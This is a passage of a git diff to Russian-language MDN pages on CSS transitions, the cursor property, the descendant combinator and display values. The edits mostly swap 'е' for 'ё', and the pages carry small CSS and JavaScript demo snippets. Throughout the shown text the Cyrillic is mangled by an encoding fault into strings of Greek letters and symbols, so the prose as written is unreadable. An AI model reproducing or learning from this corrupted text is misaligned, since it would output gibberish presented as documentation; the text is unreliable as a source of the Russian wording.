<p>CSS ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ свойством<a href="https://developer.mozilla.org/en-US/docs/CSS/transition">Β </a>{{cssxref("transition")}}. Π­Ρ‚ΠΎ Π»ΡƒΡ‡ΡˆΠΈΠΉ способ ΠΈΡ… Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ, позволяСт ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π΄Π»ΠΈΠ½Π½Ρ‹Ρ… свойств ΠΈ ΠΈΡ… нСсоотвСтствий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΡ‚Π»Π°Π΄ΠΊΡƒ CSS Π΄ΠΎΠ»Π³ΠΎΠΉ.</p>
-<p>МоТно ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ подсвойствами:</p>
+<p>МоТно ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ подсвойствами:</p>
<p><strong>(Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ Ρ†ΠΈΠΊΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ² бСсконСчны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π½Π°ΡˆΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²;Β CSS <code>transition</code>s Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΡŽΡ‚ смСну свойства. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот Ρ†ΠΈΠΊΠ», ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° свойство <a href="/en-US/docs/CSS/animation"><code>animation</code></a>.)</strong></p>
@@ -889,7 +889,7 @@ var intervalID = window.setInterval(updateTransition, 7000);
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ_ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°</h2>
-<p>Π•ΡΡ‚ΡŒ событиС, ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½. Π’ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, совмСстимых со стандартами, Π΅ΡΡ‚ΡŒ событиС <code>transitionend</code>, Π²Β WebKit Π΅ΡΡ‚ΡŒΒ <code>webkitTransitionEnd</code>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π£Β <code>transitionend</code>Β Π΅ΡΡ‚ΡŒ 2 свойства:</p>
+<p>Π•ΡΡ‚ΡŒ событиС, ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½. Π’ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, совмСстимых со стандартами, Π΅ΡΡ‚ΡŒ событиС <code>transitionend</code>, Π²Β WebKit Π΅ΡΡ‚ΡŒΒ <code>webkitTransitionEnd</code>. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. Π£Β <code>transitionend</code>Β Π΅ΡΡ‚ΡŒ 2 свойства:</p>
<dl>
<dt><code>propertyName</code></dt>
@@ -938,7 +938,7 @@ var intervalID = window.setInterval(updateTransition, 7000);
<h2 id="ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 4 сСкунды выполняСт ΠΏΠ»Π°Π²Π½ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π°Β Π·Π° 2 сСкунды, послС Ρ‚ΠΎΠ³ΠΎΒ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²Π΅Π» ΠΌΡ‹ΡˆΡŒ Π½Π° элСмСнт:</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 4 сСкунды выполняСт ΠΏΠ»Π°Π²Π½ΠΎΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡˆΡ€ΠΈΡ„Ρ‚Π°Β Π·Π° 2 сСкунды, послС Ρ‚ΠΎΠ³ΠΎΒ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Π²Ρ‘Π» ΠΌΡ‹ΡˆΡŒ Π½Π° элСмСнт:</p>
<pre class="brush: css">#delay1 {
position: relative;
@@ -1017,7 +1017,7 @@ var intervalID = window.setInterval(updateTransition, 7000);
&lt;div id="foo"&gt;&lt;/div&gt;
</pre>
-<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ JavaScript, добиваСмся эффСкта ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΡΒ ΡˆΠ°Ρ€Π° Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ:</p>
+<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ JavaScript, добиваСмся эффСкта ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΡΒ ΡˆΠ°Ρ€Π° Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ:</p>
<pre class="brush: js">var f = document.getElementById('foo');
document.addEventListener('click', function(ev){
diff --git a/files/ru/web/css/cursor/index.html b/files/ru/web/css/cursor/index.html
index f45445f056..20368efd85 100644
--- a/files/ru/web/css/cursor/index.html
+++ b/files/ru/web/css/cursor/index.html
@@ -31,7 +31,7 @@ cursor: unset;
<dl>
<dt>&lt;<code>url</code>&gt;</dt>
- <dd>Бсылка ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми список ссылок:Β <code>url(…), url(…), …</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Π½Π° Ρ„Π°ΠΉΠ» изобраТСния. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ссылки ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСны Π² качСствС запасных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π½Π° случай Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ основной ссылкС Π½Π΅ поддСрТиваСтся Π² качСствС курсора. ЗапасноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π΅Π΅ΡΡ ссылкой (ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов) <strong>Π΄ΠΎΠ»ΠΆΠ½ΠΎ </strong>Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ†Π΅ списка Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd>
+ <dd>Бсылка ΠΈΠ»ΠΈ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми список ссылок:Β <code>url(…), url(…), …</code>, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ Π½Π° Ρ„Π°ΠΉΠ» изобраТСния. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ссылки ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ прСдоставлСны Π² качСствС запасных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π½Π° случай Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ основной ссылкС Π½Π΅ поддСрТиваСтся Π² качСствС курсора. ЗапасноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π΅Π΅ΡΡ ссылкой (ΠΎΠ΄Π½ΠΎ ΠΈΠ»ΠΈ нСсколько ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов) <strong>Π΄ΠΎΠ»ΠΆΠ½ΠΎ </strong>Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΊΠΎΠ½Ρ†Π΅ списка Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd>
<dt><code>&lt;x&gt;</code> <code>&lt;y&gt;</code> {{experimental_inline}}</dt>
<dd>ΠΠ΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния Ρ…- ΠΈ Ρƒ- ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚. Π”Π²Π° Π±Π΅Π·Ρ€Π°Π·ΠΌΠ΅Ρ€Π½Ρ‹Ρ… Π½Π΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… числа мСньшС 32.</dd>
<dt>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова</dt>
diff --git a/files/ru/web/css/descendant_combinator/index.html b/files/ru/web/css/descendant_combinator/index.html
index b1305b3171..bef042cb34 100644
--- a/files/ru/web/css/descendant_combinator/index.html
+++ b/files/ru/web/css/descendant_combinator/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/Descendant_combinator
<h2 id="Summary" name="Summary">ОписаниС</h2>
-<p>ΠšΠΎΠΌΠ±ΠΈΠ½Π°Ρ‚ΠΎΡ€<code> ␣</code>Β (ΠΏΡ€ΠΎΠ±Π΅Π») прСдставляСт собой 2 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ сСлСкторов, Π½Π°ΠΉΠ΄Π΅Ρ‚ элСмСнты ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠ±ΠΎΠΈΠΌ сСлСкторам.Β Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΏΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌ ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° сСлСкторы <a href="/ru/docs/Web/CSS/Child_selectors">Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов</a>, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ элСмСнтов ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ свои свойства ΠΊΠΎ всСм элСмСнтам Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, находящимся Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, нСзависимо ΠΎΡ‚ Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹ влоТСнности.</p>
+<p>ΠšΠΎΠΌΠ±ΠΈΠ½Π°Ρ‚ΠΎΡ€<code> ␣</code>Β (ΠΏΡ€ΠΎΠ±Π΅Π») прСдставляСт собой 2 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ сСлСкторов, Π½Π°ΠΉΠ΄Ρ‘Ρ‚ элСмСнты ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠ±ΠΎΠΈΠΌ сСлСкторам.Β Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΏΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌ ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° сСлСкторы <a href="/ru/docs/Web/CSS/Child_selectors">Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов</a>, Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ элСмСнтов ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ свои свойства ΠΊΠΎ всСм элСмСнтам Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, находящимся Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, нСзависимо ΠΎΡ‚ Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹ влоТСнности.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/css/display-listitem/index.html b/files/ru/web/css/display-listitem/index.html
index 4eee12345e..798ac47d3f 100644
--- a/files/ru/web/css/display-listitem/index.html
+++ b/files/ru/web/css/display-listitem/index.html
@@ -16,7 +16,7 @@ translation_of: Web/CSS/display-listitem
<h2 id="Бинтаксис">Бинтаксис</h2>
-<p>ЕдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code> list-item ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя ΠΊΠ°ΠΊ элСмСнт списка. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСстС с {{CSSxRef("list-style-type")}} ΠΈ {{CSSxRef("list-style-position")}}.</code></p>
+<p>ЕдинствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code> list-item ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ вСсти сСбя ΠΊΠ°ΠΊ элСмСнт списка. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ вмСстС с {{CSSxRef("list-style-type")}} ΠΈ {{CSSxRef("list-style-position")}}.</code></p>
<div class="note">
<p><code><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>:Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π΄Π²ΡƒΡ…Π·Π½Π°Ρ‡Π½Ρ‹ΠΉ синтаксис, Ссли Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ </code>flow<code>. Если внСшнСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, основной Π±Π»ΠΎΠΊ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ внСшний Π²ΠΈΠ΄ отобраТСния (</code>outer display type<code>) <code>block</code>.</code></p>
diff --git a/files/ru/web/css/display-outside/index.html b/files/ru/web/css/display-outside/index.html
index 60ee3de15e..a41442267d 100644
--- a/files/ru/web/css/display-outside/index.html
+++ b/files/ru/web/css/display-outside/index.html
@@ -24,15 +24,15 @@ translation_of: Web/CSS/display-outside
<dt><code>block</code></dt>
<dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ бокс элСмСнта, создавая Ρ€Π°Π·Ρ€Ρ‹Π²Ρ‹ Π»ΠΈΠ½ΠΈΠΉ, ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Π΄, Ρ‚Π°ΠΊ ΠΈ послС элСмСнта, ΠΏΡ€ΠΈ условии Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°.</dd>
<dt><code>inline</code></dt>
- <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ создаСт ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ строковых (inline) боксов элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Ρ€Π°Π·Ρ€Ρ‹Π²ΠΎΠ² строк ΠΏΠ΅Ρ€Π΅Π΄ собой ΠΈΠ»ΠΈ послС сСбя. Π’ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ Π»ΠΈΠ½ΠΈΠΈ, Ссли Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π».</dd>
+ <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ создаёт ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ строковых (inline) боксов элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Ρ€Π°Π·Ρ€Ρ‹Π²ΠΎΠ² строк ΠΏΠ΅Ρ€Π΅Π΄ собой ΠΈΠ»ΠΈ послС сСбя. Π’ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ Π»ΠΈΠ½ΠΈΠΈ, Ссли Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π».</dd>
<dt><code>run-in</code>Β {{Experimental_Inline}}</dt>
- <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ run-in бокс. Если сосСдний родствСнный (sibling) элСмСнт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΊΠ°ΠΊ <code>display: run-in, Ρ‚ΠΎΠ³Π΄Π°</code>Β  бокс являСтся Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΌ боксом, <code>run-in</code> бокс становится ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ строковым (inline) боксом Π±Π»ΠΎΠΊΠΎΠ²ΠΎΠ³ΠΎ бокса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π½ΠΈΠΌ.Β <br>
+ <dd>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ run-in бокс. Если сосСдний родствСнный (sibling) элСмСнт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΊΠ°ΠΊ <code>display: run-in, Ρ‚ΠΎΠ³Π΄Π°</code>Β  бокс являСтся Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΌ боксом, <code>run-in</code> бокс становится ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ строковым (inline) боксом Π±Π»ΠΎΠΊΠΎΠ²ΠΎΠ³ΠΎ бокса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт Π·Π° Π½ΠΈΠΌ.Β <br>
<br>
Run-in элСмСнты Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΊΠ°ΠΊ строковыС (inlines) ΠΈΠ»ΠΈ Π±Π»ΠΎΠΊΠΎΠ²Ρ‹Π΅, Π² зависимости ΠΎΡ‚ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΡ… элСмСнтов. Если run-in бокс содСрТит Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΉ бокс, Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ сам считаСтся Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΌ. Если Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΉ бокс слСдуСт Π·Π° run-in боксом, Ρ‚ΠΎΠ³Π΄Π° run-in бокс становится ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ строковым (inline) боксом Π±Π»ΠΎΠΊΠΎΠ²ΠΎΠ³ΠΎ бокса. Если Π·Π° Π½ΠΈΠΌ слСдуСт строковый (inline) бокс, Ρ‚ΠΎΠ³Π΄Π° run-in бокс становится Π±Π»ΠΎΠΊΠΎΠ²Ρ‹ΠΌ боксом.</dd>
</dl>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ Π΄Π²ΡƒΠ·Π½Π°Ρ‡Π½Ρ‹ΠΉ синтаксис Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΡ€ΠΈ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ внСшнСго значСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ <code> display: block </code> ΠΈΠ»ΠΈ <code>display: inline,</code>Β  установят Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ <code>flow</code>.Β  Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΌΡƒ повСдСнию; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π±Π»ΠΎΠΊΠΎΠΌ, Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ ΡƒΡ‡Π°ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² Π±Π»ΠΎΡ‡Π½ΠΎΠΉ ΠΈ строковой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ Π΄Π²ΡƒΠ·Π½Π°Ρ‡Π½Ρ‹ΠΉ синтаксис Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΡ€ΠΈ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ внСшнСго значСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ <code> display: block </code> ΠΈΠ»ΠΈ <code>display: inline,</code>Β  установят Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ <code>flow</code>.Β  Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ 